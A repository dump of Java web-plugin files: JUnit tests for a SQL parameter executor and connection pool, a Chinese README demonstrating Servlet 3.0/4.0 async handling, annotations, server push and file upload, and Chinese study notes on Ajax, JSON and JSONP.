SQLParam();\n\t\tparam7.setDtype(\"-1\");\n\t\tparam7.setDtypename(\"LONGVARCHAR\");\n\t\tparam7.setIndex(\"7\");\n\t\tparam7.setIotype(\"in\");\n\t\tparam7.setName(\"longfield\");\n\t\tparam7.setValue(\"asdfsadfasdfsa\");\n\t\tparam7.buildPositions();\n\t\texecutor.setParam(param7, statement, oraconn);\n\n\t\tSQLParam param8 = new SQLParam();\n\t\tparam8.setDtype(\"2\");\n\t\tparam8.setDtypename(\"NUMBER\");\n\t\tparam8.setIndex(\"8\");\n\t\tparam8.setIotype(\"in\");\n\t\tparam8.setName(\"numfields\");\n\t\tparam8.setValue(\"58677\");\n\t\tparam8.buildPositions();\n\t\texecutor.setParam(param8, statement, oraconn);\n\n\t\tSQLParam param9 = new SQLParam();\n\t\tparam9.setDtype(\"2\");\n\t\tparam9.setDtypename(\"NUMBER\");\n\t\tparam9.setIndex(\"9\");\n\t\tparam9.setIotype(\"in\");\n\t\tparam9.setName(\"floatfields\");\n\t\tparam9.setValue(333333333333333333333344.333377);\n\t\tparam9.buildPositions();\n\t\texecutor.setParam(param9, statement, oraconn);\n\n\t\tstatement.execute();\n\t\toraconn.commit();\n\t}\n\n\t@Test\n\tpublic void testgetParam() throws SQLException, IOException, DBException {\n\t\tthis.testsetParam();\n\t\tCallableStatement statement = oraconn.prepareCall(paramSql);\n\t\tstatement.registerOutParameter(1, 2);\n\t\tstatement.registerOutParameter(2, 12);\n\t\tstatement.registerOutParameter(3, 2005);\n\t\tstatement.registerOutParameter(4, 2004);\n\t\tstatement.registerOutParameter(5, 91);\n\t\tstatement.registerOutParameter(6, 93);\n\t\tstatement.registerOutParameter(7, -1);\n\t\tstatement.registerOutParameter(8, 2);\n\t\tstatement.registerOutParameter(9, 2);\n\t\tstatement.execute();\n\n\t\tSQLParam param1 = new SQLParam();\n\t\tparam1.setDtype(\"2\");\n\t\tparam1.setDtypename(\"NUMBER\");\n\t\tparam1.setIndex(\"1\");\n\t\tparam1.setIotype(\"out\");\n\t\tparam1.setName(\"id\");\n\t\tparam1.buildPositions();\n\t\texecutor.getParam(param1, statement, oraconn);\n\n\t\tSQLParam param2 = new SQLParam();\n\t\tparam2.setDtype(\"12\");\n\t\tparam2.setDtypename(\"VARCHAR\");\n\t\tparam2.setIndex(\"2\");\n\t\tparam2.setIotype(\"out\");\n\t\tparam2.setName(\"strfield\");\n\t\tparam2.buildPositions();\n\t\texecutor.getParam(param2, statement, oraconn);\n\n\t\tSQLParam param3 = new SQLParam();\n\t\tparam3.setDtype(\"2005\");\n\t\tparam3.setDtypename(\"CLOB\");\n\t\tparam3.setIndex(\"3\");\n\t\tparam3.setIotype(\"out\");\n\t\tparam3.setName(\"clobfield\");\n\t\tparam3.buildPositions();\n\t\texecutor.getParam(param3, statement, oraconn);\n\n\t\tSQLParam param4 = new SQLParam();\n\t\tparam4.setDtype(\"2004\");\n\t\tparam4.setDtypename(\"BLOB\");\n\t\tparam4.setIndex(\"4\");\n\t\tparam4.setIotype(\"out\");\n\t\tparam4.setName(\"blobfield\");\n\t\tparam4.buildPositions();\n\t\texecutor.getParam(param4, statement, oraconn);\n\n\t\tSQLParam param5 = new SQLParam();\n\t\tparam5.setDtype(\"91\");\n\t\tparam5.setDtypename(\"DATE\");\n\t\tparam5.setIndex(\"5\");\n\t\tparam5.setIotype(\"out\");\n\t\tparam5.setName(\"datefield\");\n\t\tparam5.buildPositions();\n\t\texecutor.getParam(param5, statement, oraconn);\n\n\t\tSQLParam param6 = new SQLParam();\n\t\tparam6.setDtype(\"93\");\n\t\tparam6.setDtypename(\"TIMESTAMP\");\n\t\tparam6.setIndex(\"6\");\n\t\tparam6.setIotype(\"out\");\n\t\tparam6.setName(\"timestampfield\");\n\t\tparam6.buildPositions();\n\t\texecutor.getParam(param6, statement, oraconn);\n\n\t\tSQLParam param7 = new SQLParam();\n\t\tparam7.setDtype(\"-1\");\n\t\tparam7.setDtypename(\"LONGVARCHAR\");\n\t\tparam7.setIndex(\"7\");\n\t\tparam7.setIotype(\"out\");\n\t\tparam7.setName(\"longfield\");\n\t\tparam7.buildPositions();\n\t\texecutor.getParam(param7, statement, oraconn);\n\n\t\tSQLParam param8 = new SQLParam();\n\t\tparam8.setDtype(\"2\");\n\t\tparam8.setDtypename(\"NUMBER\");\n\t\tparam8.setIndex(\"8\");\n\t\tparam8.setIotype(\"out\");\n\t\tparam8.setName(\"numfields\");\n\t\tparam8.buildPositions();\n\t\texecutor.getParam(param8, statement, oraconn);\n\n\t\tSQLParam param9 = new SQLParam();\n\t\tparam9.setDtype(\"2\");\n\t\tparam9.setDtypename(\"NUMBER\");\n\t\tparam9.setIndex(\"9\");\n\t\tparam9.setIotype(\"out\");\n\t\tparam9.setName(\"floatfields\");\n\t\tparam9.buildPositions();\n\t\texecutor.getParam(param9, statement, oraconn);\n\t\t\n\t\tSystem.out.println(param1.getValue());\n\t\tSystem.out.println(param2.getValue());\n\t\tSystem.out.println(param3.getValue());\n\t\tSystem.out.println(param4.getValue());\n\t\tSystem.out.println(param5.getValue());\n\t\tSystem.out.println(param6.getValue());\n\t\tSystem.out.println(param7.getValue());\n\t\tSystem.out.println(param8.getValue());\n\t\tSystem.out.println(param9.getValue());\n\t}\n\n\t@Test\n\tpublic void testqueryMetaData() {\n\t\tAssert.assertEquals(true, true);\n\t}\n\n\t@Test\n\tpublic void testqueryData() {\n\t\tAssert.assertEquals(true, true);\n\t}\n\n\t@Test\n\tpublic void testsaveData() {\n\t\tAssert.assertEquals(true, true);\n\t}\n\n\t@Test\n\tpublic void testserializeResultSet() {\n\t\tAssert.assertEquals(true, true);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/test/com/techsoft/pool/TestConnectionPool.java",
    "content": "package com.techsoft.pool;\n\nimport java.sql.Connection;\n\nimport junit.framework.Assert;\nimport junit.framework.TestCase;\n\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.techsoft.ConnectionPool;\nimport com.techsoft.TestConsts;\n\npublic class TestConnectionPool extends TestCase {\n\tprivate Connection connone = null;\n\tprivate Connection conntwo = null;\n\n\t@Before\n\tprotected void setUp() throws Exception {\n\t\tsuper.setUp();\n\t}\n\n\t@After\n\tprotected void tearDown() throws Exception {\n\t\tif (connone != null) {\n\t\t\tconnone.close();\n\t\t\tconnone = null;\n\t\t}\n\t\tif (conntwo != null) {\n\t\t\tconntwo.close();\n\t\t\tconntwo = null;\n\t\t}\n\t\tsuper.tearDown();\n\t}\n\n\t@Test\n\tpublic void testGetConnection() {\n\t\ttry {\n\t\t\tconnone = TestConsts.getPool().getConnection();\n\t\t\tassertEquals(2, TestConsts.getPool().getMaxPool());\n\t\t\tassertEquals(1, TestConsts.getPool().getBusyPool());\n\n\t\t\tconntwo = TestConsts.getPool().getConnection();\n\t\t\tassertEquals(2, TestConsts.getPool().getMaxPool());\n\t\t\tassertEquals(2, TestConsts.getPool().getBusyPool());\n\n\t\t\tTestConsts.getPool().getConnection();\n\t\t\tfail(\"最大池已满时，还能取得连接, 出错!\");\n\n\t\t} catch (Exception e) {\n\t\t\tAssert.assertTrue(e.getMessage().equalsIgnoreCase(\n\t\t\t\t\tConnectionPool.MAXPOOLLIMIT));\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/README.md",
    "content": "# jun_webservlet\n\n> 此 demo 主要演示了 Servlet 3.0 注解使用，异步回调、GET及POST请求返回、文件上传等。\n\n#Servlet3.0 记得servlet3的特性有以下几点：\n\n1、异步处理支持：有了该特性，Servlet 线程不再需要一直阻塞，直到业务处理完毕才能再输出响应，最后才结束该 Servlet 线程。在接收到请求之后，Servlet 线程可以将耗时的操作委派给另一个线程来完成，自己在不生成响应的情况下返回至容器。针对业务处理较耗时的情况，这将大大减少服务器资源的占用，并且提高并发处理速度。\n2、新增的注解支持：该版本新增了若干注解，用于简化 Servlet、过滤器（Filter）和监听器（Listener）的声明，这使得 web.xml 部署描述文件从该版本开始不再是必选的了。\n3、可插性支持：熟悉 Struts2 的开发者一定会对其通过插件的方式与包括 Spring 在内的各种常用框架的整合特性记忆犹新。将相应的插件封装成 JAR 包并放在类路径下，Struts2 运行时便能自动加载这些插件。现在 Servlet 3.0 提供了类似的特性，开发者可以通过插件的方式很方便的扩充已有 Web 应用的功能，而不需要修改原有的应用。\n\n以前的servlet的流程：\n\n首先，Servlet接收到请求之后，可能需要对请求携带的数据进行一些处理；接着，调用业务接口的某些方法，已完成业务处理；最后根据处理的结果提交响应，Servlet线程结束。其中第二步的业务处理通常是最耗时的，这主要体现数据库操作，以及其它的跨网络调用等、在此过程中、Servlet线程一直处于阻塞状态，直到业务方法执行完毕。在处理业务过程中、Servlet资源一直被占用而得不到释放，对于并发较大的应用，这有可能造成性能瓶颈，对此，在以前通常采用私有解决方案，来提前结束Servlet线程，并及时释放资源。\n\nServlet3.0流程：\n首先，Servlet接收到请求之后，可能首先需要对请求携带的数据进行一些预处理；接着，Servlet线程将请求转交给一个异步线程来执行业务处理，线程本身返回至容器、此时Servlet还没有生成响应数据，异步线程处理完业务以后，可以直接生成响应数据（异步线程拥有ServletRequest和ServletResponse对象的引用），或者将请求继续转发给其它的Servlet，如此一来，Servlet线程不再是一直处于阻塞状态以等待业务逻辑的处理，而是启动异步线程之后可以立即返回。\n\n注意：\n\nServlet 3.0 还为异步处理提供了一个监听器，使用 AsyncListener 接口表示。它可以监控如下四种事件：\n\n异步线程开始时，调用 AsyncListener 的 onStartAsync(AsyncEvent event) 方法；\n异步线程出错时，调用 AsyncListener 的 onError(AsyncEvent event) 方法；\n异步线程执行超时，则调用 AsyncListener 的 onTimeout(AsyncEvent event) 方法；\n异步执行完毕时，调用 AsyncListener 的 onComplete(AsyncEvent event) 方法；\n\n要注册一个 AsyncListener，只需将准备好的 AsyncListener 对象传递给 AsyncContext 对象的 addListener() 方法即可。\n\n在这里插入图片描述\n代码实现：\n##Http2Servlet3.java\n```java\nimport javax.servlet.annotation.WebServlet;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.text.DateFormat;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.Random;\nimport java.util.UUID;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.Executors;\nimport javax.servlet.AsyncContext;\nimport javax.servlet.AsyncEvent;\nimport javax.servlet.AsyncListener;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(value = {\"/http23\"}, asyncSupported = true)\npublic class Http2Servlet3 extends HttpServlet {\n\n    private Queue<String> messages = new ConcurrentLinkedQueue<String>();\n    private final Executor executor = Executors.newFixedThreadPool( 10 );\n    private List<AsyncContext> ctxs = new ArrayList<AsyncContext>();\n\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {\n        res.setContentType( \"text/plain\" );\n        res.setCharacterEncoding( \"utf-8\" );\n        res.setHeader( \"Access-Control-Allow-Origin\", \"*\" );\n        PrintWriter writer = res.getWriter();\n        writer.print( \"2;Hi;\" );\n        writer.flush();\n\n        final AsyncContext ctx = req.startAsync();\n        ctx.addListener( new AsyncListener() {\n            @Override\n            public void onStartAsync(AsyncEvent event) throws IOException {\n            }\n            @Override\n            public void onTimeout(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n            @Override\n            public void onError(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n            @Override\n            public void onComplete(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n        } );\n        ctxs.add( ctx );\n    }\n\n    @Override\n    protected void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {\n        res.setContentType( \"text/plain\" );\n        res.setCharacterEncoding( \"utf-8\" );\n        messages.add( createRandomMessage() );\n    }\n\n    @Override\n    public void init() throws ServletException {\n        super.init();\n        // produce random messages\n        //生成随机消息\n        new Thread( new Runnable() {\n            @Override\n            public void run() {\n                while (true) {\n                    messages.add( createRandomMessage() );\n                    try {\n                        Thread.sleep( new Random().nextInt( 5 ) * 1000 );\n                    } catch (InterruptedException e) {\n                        e.printStackTrace();\n                    }\n                }\n            }\n        } ).start();\n\n        // print messages to all users\n        //向所有用户打印message\n\n        new Thread( new Runnable() {\n            @Override\n            public void run() {\n                while (true) {\n                    if (!messages.isEmpty()) {\n                        final String message = messages.poll();\n                        executor.execute( new Runnable() {\n                            @Override\n                            public void run() {\n                                for (AsyncContext ctx : ctxs) {\n                                    try {\n                                        PrintWriter writer = ctx.getResponse().getWriter();\n                                        writer.print( message.length() );\n                                        writer.print( ';' );\n                                        writer.print( message );\n                                        writer.print( ';' );\n                                        writer.flush();\n                                    } catch (IOException e) {\n                                        e.printStackTrace();\n                                    }\n                                }\n                            };\n                        } );\n                    }\n                }\n            }\n        } ).start();\n    }\n\n    protected String createRandomMessage() {\n        return DateFormat.getTimeInstance().format( Calendar.getInstance().getTime() ) + ' ' + UUID.randomUUID().toString();\n    }\n}\n```\n\n##AsyncDemoServlet.java\n```java\nimport javax.servlet.AsyncContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Date;\n\n@WebServlet(urlPatterns = \"/servlet3\", asyncSupported = true)\npublic class AsyncDemoServlet extends HttpServlet {\n\n    @Override\n    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException, ServletException {\n        resp.setContentType( \"text/html;charset=UTF-8\" );\n        PrintWriter out = resp.getWriter();\n        out.println( \"进入Servlet的时间：\" + new Date() + \".\" );\n        out.flush();\n        //在子线程中执行业务调用，并由其负责输出响应，主线程退出\n        AsyncContext ctx = req.startAsync();\n        new Thread( new Executor( ctx ) ).start();\n        out.println( \"结束Servlet的时间：\" + new Date() + \".\" );\n        out.flush();\n    }\n}\n\n/*public class Executor implements Runnable {\n    private AsyncContext ctx = null;\n    public Executor(AsyncContext ctx) {\n        this.ctx = ctx;\n    }*/\nclass Executor implements Runnable {\n    private AsyncContext ctx = null;\n    public Executor(AsyncContext ctx) {\n    this.ctx = ctx;\n    }\n\n    @Override\n    public void run() {\n        try {\n            //等待十秒钟，以模拟业务方法的执行\n            Thread.sleep( 10000 );\n            PrintWriter out = ctx.getResponse().getWriter();\n            out.println( \"业务处理完毕的时间：\" + new Date() + \".\" );\n            out.flush();\n            ctx.complete();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n##pom.xml\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>Servlet4Push</groupId>\n    <artifactId>Servlet4Push</artifactId>\n    <version>1.0-SNAPSHOT</version>\n\n    <packaging>war</packaging>\n\n    <properties>\n        <endorsed.dir>${project.build.directory}/endorsed</endorsed.dir>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    </properties>\n\n    <dependencies>\n\n        <!--servlet4-->\n       <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>4.0.1</version>\n            <scope>provided</scope>\n        </dependency>\n\n       <!-- servlet3-->\n      <!-- <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.0.1</version>\n            <scope>provided</scope>\n        </dependency>-->\n\n        <!--servlet3.1-->\n        <!-- <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>-->\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <compilerArguments>\n                        <endorseddirs>${endorsed.dir}</endorseddirs>\n                    </compilerArguments>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-war-plugin</artifactId>\n                <version>2.6</version>\n                <configuration>\n                    <warName>Servlet4Push</warName>\n                    <failOnMissingWebXml>false</failOnMissingWebXml>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n记得servlet4新功能：\n\n**1、服务器推送：**是最直观的 HTTP/2 强化功能，通过 PushBuilder 接口在 servlet 中公开。服务器推送功能还在 JavaServer Faces API 中实现，并在 RenderResponsePhase 生命周期内调用，以便 JSF 页面可以利用其增强性能。\n2、全新 servlet 映射发现接口： HttpServletMapping 使框架能够获取有关激活给定 servlet 请求的 URL 信息。这可能对框架尤为有用，这些框架需要这一信息来运行内部工作。\n\nServlet4.0优点：\n\n服务器推送使服务器能预测客户端请求的资源需求。然后，在完成请求处理之前，它可以将这些资源发送到客户端。\n\n要了解服务器推送的好处，可以考虑一个包含图像和其他依赖项（比如 CSS 和 JavaScript 文件）的网页。客户端发出一个针对该网页的请求。服务器然后分析所请求的页面，确定呈现它所需的资源，并主动将这些资源发送到客户端的缓存。\n\n在执行所有这些操作的同时，服务器仍在处理原始网页请求。客户端收到响应时，它需要的资源已经位于缓存中。Servlet 4.0 通过 PushBuilder 接口公开服务器推送、也可以推送静态资源等。\n\n代码实现：\n\n##Http2Servlet4.java\n```java\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.*;\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\n//@WebServlet({\"/path/*\", \"*.ext\"})\n@WebServlet(value = {\"/http24\"})\npublic class Http2Servlet4 extends HttpServlet {\n\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n\n        PushBuilder pushBuilder = req.newPushBuilder();\n        if (pushBuilder != null) {\n            pushBuilder\n                    .path(\"images/kodedu-logo.png\")\n                    .addHeader(\"content-type\", \"image/png\")\n                    .push();\n        }\n\n        /*PushBuilder pushBuilder = request.newPushBuilder();\n\n        if (pushBuilder != null) {\n            pushBuilder.path(\"images/hero-banner.jpg\").push();\n            pushBuilder.path(\"css/menu.css\").push();\n            pushBuilder.path(\"js/marquee.js\").push();\n        }*/\n\n\n        HttpServletMapping mappings = req.getHttpServletMapping();\n        String mapping = mappings.getMappingMatch().name();\n        String value = mappings.getMatchValue();\n        String pattern = mappings.getPattern();\n        String servletName = mappings.getServletName();\n\n\n        try (PrintWriter respWriter = resp.getWriter();) {\n            respWriter.write(\"<html>\" +\n                    \"<img src='images/kodedu-logo.png'>\" +\n                    \"</html>\");\n        }\n\n    }\n}\n```\n\n## pom.xml\n\n```xml\n \n <plugin> \n\t<groupId>org.apache.tomcat.maven</groupId>\n\t<artifactId>tomcat7-maven-plugin</artifactId>\n\t<version>2.1</version>\n\t<configuration>\n\t\t<port>8080</port>\n\t\t<path>/jun_webservlet</path>\n\t\t<uriEncoding>UTF-8</uriEncoding>\n\t\t<finalName>jun_webservlet</finalName>\n\t\t<server>tomcat7</server>\n\t</configuration>\n</plugin>\n```\n\n## Servlet3Demo.java\n\n```java\n/**\n  * 注解WebServlet用来描述一个Servlet\n  * 属性name描述Servlet的名字,可选\n  * 属性urlPatterns定义访问的URL,或者使用属性value定义访问的URL.(定义访问的URL是必选属性)\n  */\n @WebServlet(name=\"Servlet3Demo\",urlPatterns=\"/Servlet3Demo\")\n @WebInitParam(name=\"a\", value=\"valuea\")  \n public class Servlet3Demo extends HttpServlet {\n\t /*\n\t  * 完成了一个使用注解描述的Servlet程序开发。\n\t 　　使用@WebServlet将一个继承于javax.servlet.http.HttpServlet的类定义为Servlet组件。\n\t 　　@WebServlet有很多的属性：\n\t     　　1、asyncSupported：    声明Servlet是否支持异步操作模式。\n\t     　　2、description：　　    Servlet的描述。\n\t     　　3、displayName：       Servlet的显示名称。\n\t     　　4、initParams：        Servlet的init参数。\n\t     　　5、name：　　　　       Servlet的名称。\n\t     　　6、urlPatterns：　　   Servlet的访问URL。\n\t     　　7、value：　　　        Servlet的访问URL。\n\t 　　Servlet的访问URL是Servlet的必选属性，可以选择使用urlPatterns或者value定义。\n\t 　　像上面的Servlet3Demo可以描述成@WebServlet(name=\"Servlet3Demo\",value=\"/Servlet3Demo\")。\n\t 　　也定义多个URL访问：\n\t 　　如@WebServlet(name=\"Servlet3Demo\",urlPatterns={\"/Servlet3Demo\",\"/Servlet3Demo2\"})\n\t 　　或者@WebServlet(name=\"AnnotationServlet\",value={\"/Servlet3Demo\",\"/Servlet3Demo2\"})\n\t  *\n\t  */\n     public void doGet(HttpServletRequest request, HttpServletResponse response)\n             throws ServletException, IOException {\n         response.getWriter().write(\"Hello Servlet3.0\");\n     }\n \n     public void doPost(HttpServletRequest request, HttpServletResponse response)\n             throws ServletException, IOException {\n         this.doGet(request, response);\n     }\n }\n```\n\n## UploadServlet.java\n\n```java\n //使用@WebServlet配置UploadServlet的访问路径\n//使用注解@MultipartConfig将一个Servlet标识为支持文件上传\n//标识Servlet支持文件上传\n@WebServlet(name=\"UploadServlet\",urlPatterns=\"/UploadServlet\")\n@MultipartConfig\npublic class UploadServlet extends HttpServlet {\n\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n             request.setCharacterEncoding(\"utf-8\");\n            response.setCharacterEncoding(\"utf-8\");\n            response.setContentType(\"text/html;charset=utf-8\");\n            //存储路径\n            String savePath = request.getServletContext().getRealPath(\"/WEB-INF/uploadFile\");\n            //获取上传的文件集合\n            Collection<Part> parts = request.getParts();\n            //上传单个文件\n            if (parts.size()==1) {\n                 //Servlet3.0将multipart/form-data的POST请求封装成Part，通过Part对上传的文件进行操作。\n                //Part part = parts[0];//从上传的文件集合中获取Part对象\n                Part part = request.getPart(\"file\");//通过表单file控件(<input type=\"file\" name=\"file\">)的名字直接获取Part对象\n                //Servlet3没有提供直接获取文件名的方法,需要从请求头中解析出来\n                //获取请求头，请求头的格式：form-data; name=\"file\"; filename=\"snmp4j--api.zip\"\n                String header = part.getHeader(\"content-disposition\");\n                //获取文件名\n                String fileName = getFileName(header);\n                //把文件写到指定路径\n                part.write(savePath+File.separator+fileName);\n            }else {\n                //一次性上传多个文件\n                for (Part part : parts) {//循环处理上传的文件\n                    //获取请求头，请求头的格式：form-data; name=\"file\"; filename=\"snmp4j--api.zip\"\n                    String header = part.getHeader(\"content-disposition\");\n                    //获取文件名\n                    String fileName = getFileName(header);\n                    //把文件写到指定路径\n                    part.write(savePath+File.separator+fileName);\n                }\n            }\n            PrintWriter out = response.getWriter();\n            out.println(\"上传成功\");\n            out.flush();\n            out.close();\n    }\n```\n\n参考：https://www.ibm.com/developerworks/cn/java/j-lo-servlet30/index.html\n参考：https://www.ibm.com/developerworks/cn/java/j-javaee8-servlet4/index.html"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/Ajax详解参考文档.md",
    "content": "# Ajax详解参考文档\n\nAsynchronous Javascript And XML（可扩展标记语言），AJAX 不是一门的新的语言，而是对现有持术的综合利用。客户端渲染；\n\n本质:是在HTTP协议的基础上以异步的方式通过XMLHttpRequest对象与服务器进行通信。\n\n作用：可以在页面不刷新（局部刷新）的情况下，请求服务器，局部更新页面的数据；\n\n异步（Asynchronous）：指某段程序执行时不会阻塞其它程序执行，其表现形式为程序的执行顺序不依赖程序本身的书写顺序，相反则为同步。\n\n同步：同一时刻只能做一件事，上一步完成才能开始下一步\n异步：同时做多件事，效率更高。\n\n发送：\nXMLHttpRequest可以以异步方式的处理程序。\n\n1，获取用户数据；\n\n2，让异步对象发送请求；\n2.1 创建异步对象；var xhr = new XMLHttpRequest();\n\n```\n2.2 设置 请求行 open(请求方式，请求url):\n\tget请求如果有参数就需要在url后面拼接参数；\n       \tpost不用写参数，就在请求体中传递；\n\n2.3 设置 请求头 setRequestHeader('key':'value')：\n          \t\tget方式不需要设置请求头；\n          \t\tpost需要设置 (\"Content-Type\",\"application/x-www-form-urlencoded\")；\n\t\t如果没有设置，参数无法正确的传递到服务器(本质上说，如果没有参数，也不一定需要设置，不会影响请求的发送)；\n\n       \t2.4 设置 请求体:发送请求  send(参数：key=value&key=value)：\n          \t\t如果有参数，post应该在这个位置来传递参数；\n\t\txhr.send(\"username=\"+name);\n            \t对于 get请求不需要在这个位置来传递参数；\n\t\txhr.send(null);\n1234567891011121314\n```\n\n接收：\n响应报文：\n报文行：响应状态码 响应状态信息 200 ok；\n报文头：服务器返回给客户端的一些额外信息 ；\n报文体：服务器返回给客户端的数据； responseText:普通字符串 responseXML：符合xml格式的字符串；\n\n```\n一个真正成功的响应应该两个方面：1.服务器成功响应  2.数据已经回到客户端并且可以使用了；\n\t监听异步对象的响应状态：：xhr.onreadystatechange = function(){}\n\txhr.status:可以获取当前服务器的响应状态 xhr.status== 200（成功）；\n\t解析完毕（判断异步对象的响应状态）：xhr.readystate == 4；    \n \n（解析步骤：        \t\n\t0:创建了异步对象，但是还没有真正的去发送请求\n        \t\t1.调用了send方法，正在发送请求\n       \t\t2.send方法执行完毕了，已经收到服务器的响应内容--原始内容，还不可以使用\n       \t\t3.正在解析数据\n       \t\t4.响应内容解析完毕，可以使用了；readystate == 4；）\n1234567891011\n```\n\nGET和POST请求方式的差异（面试题）\n\n1、GET没有请求主体，使用xhr.send(null)；\n2、GET可以通过在请求URL上添加请求参数；\n3、POST可以通过xhr.send(‘name=itcast&age=10’)；\n4、POST需要设置：\nContent-type:application/x-www-form-urlencoded\n5、GET大小限制约4K，POST则没有限制；\n\njson（对象）:\n语法规则\n1、数据在名称/值对中\n2、数据由逗号分隔(最后一个健/值对不能带逗号)\n3、花括号保存对象方括号保存数组\n4、使用双引号\n\n```\n[]:数组；{}：对象；\n\n在js中通过JSON.pars()方法将json格式的字符串转换为js数组或者对象( 如果文件以[]来描述数据，那么就转换为数组，如果文件以{}来描述数据，那么就转换为对象)\n        \tJSON.stringify():把对象转为字符串；\n1234\n```\n\nXML：是一种标记语言，很类似HTML，其宗旨是用来传输数据，具有自我描述性（固定的格式的数据）。\n语法规则：\n1、必须有一个根元素 ；\n2、标签名称不可有空格、不可以数字或.开头、大小写敏感；\n3、不可交叉嵌套；\n4、属性双引号（浏览器自动修正成双引号了）；\n5、特殊符号要使用实体；\n6、注释和HTML一样；\n\nsleep（4）：线程暂停；\n\njQUery中的Ajax：\n$.ajax({}) 可配置方式发起Ajax请求；\n\n```\n$.get() 以GET方式发起Ajax请求：\n\t$.get(url,data,success,datatype):本质上只能发送get请求；\n\n$.post() 以POST方式发起Ajax请求：\n\t $.post(url,data,success,datatype):本质上只能发送post请求；\n\n$('form').serialize()序列化表单（即格式化key=val&key=val）\n\nurl 接口地址\n\ntype 请求方式\n\ntimeout 请求超时；单位为毫秒，如果服务器的响应时间超过指定时间，那么请求失败；\n\ndataType 服务器返回格式 xml，josn，text，html，script，jsonp；\n\ndata 发送请求数据\n\nbeforeSend:function () {} ：请求发起前调用，如验证；在这个回调函数中，如果return false,那么本次请求会中止；\n\nsuccess（）： 成功响应后调用的函数；\n\nerror （）：错误响应时调用的函数；\n\n   ！！\tasync: false,  重设为同步执行代码！\n\ncomplete 响应完成时调用（无论成功和失败都会执行的回调）：\n123456789101112131415161718192021222324252627\n```\n\n.serialize()：可以通过将表单序列化的方式来收集用户数据：\n1.这个方法是jq的方式，所以需要使用jq对象来调用；\n2.这个方法可以将表单中所有name属性的表单元素的值收集，生成 key=value&key=value…这种格式；\n3.在ajax中，支持两种格式的参数(1.对象 2.参数格式字符串)；\n\n模板引擎：http://aui.github.io/art-template/zh-cn/\n// 调用模板引擎动态生成页面结构\n// 如果参数是对象是直接传入对象\n// 如果参数是数组，就包装为对象\nvar html = template(“musicTemp”,{“items”:result});\n\n同源策略是浏览器的一种安全策略，所谓同源是指，域名，协议，端口完全相同。\n\n跨域：不同源；ajax默认不支持跨域；\n\nJSONP：\ndataType:‘jsonp’ 设置dataType值为jsonp即开启跨域访问；\n开启jsonp会自动生成callback函数；\njsonpCallback 可以指定相应的回调函数，默认自动生成；\n\n```\n原理：\n\t1. 主要是利用了script标签的天然的跨域特性来发送请求；\n\t2. 它的实现方式：在发送请求的时候传递一个函数名称给后台，后台返回数据的时候会返回这个函数的调用形式，并且在()中拼接参数；\n\t3. ajax和jsonp的本质不一样。ajax的核心是通过XMLHttpRequest来发送请求，而jsonp是通过script标签来实现请求的发送；\n1234\n```\n\nFormData：\n\n```\n        // 1.获取表单\n        var myform = document.querySelector(\"#form1\");\n        // 2.将表单做为参数传递，在创建formData对象的时候\n        var formdata = new FormData(myform);\n        // 特点之一：可以自由的追加参数\n        formdata.append(\"address\",\"传智播客\");\n        // 3.生成的formData对象就可以直接做为异步对象的参数传递\n        xhr.send(formdata);\n12345678\n```\n\n$(’#test’)[0].reset(); 表单重置；\n\n动态添加的点击按钮，注册点击事件时，需要使用事件委托；\n\nmysqli_insert_id；\n\n解决获取地址栏汉字乱码：decodeURI（）；"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/README.md",
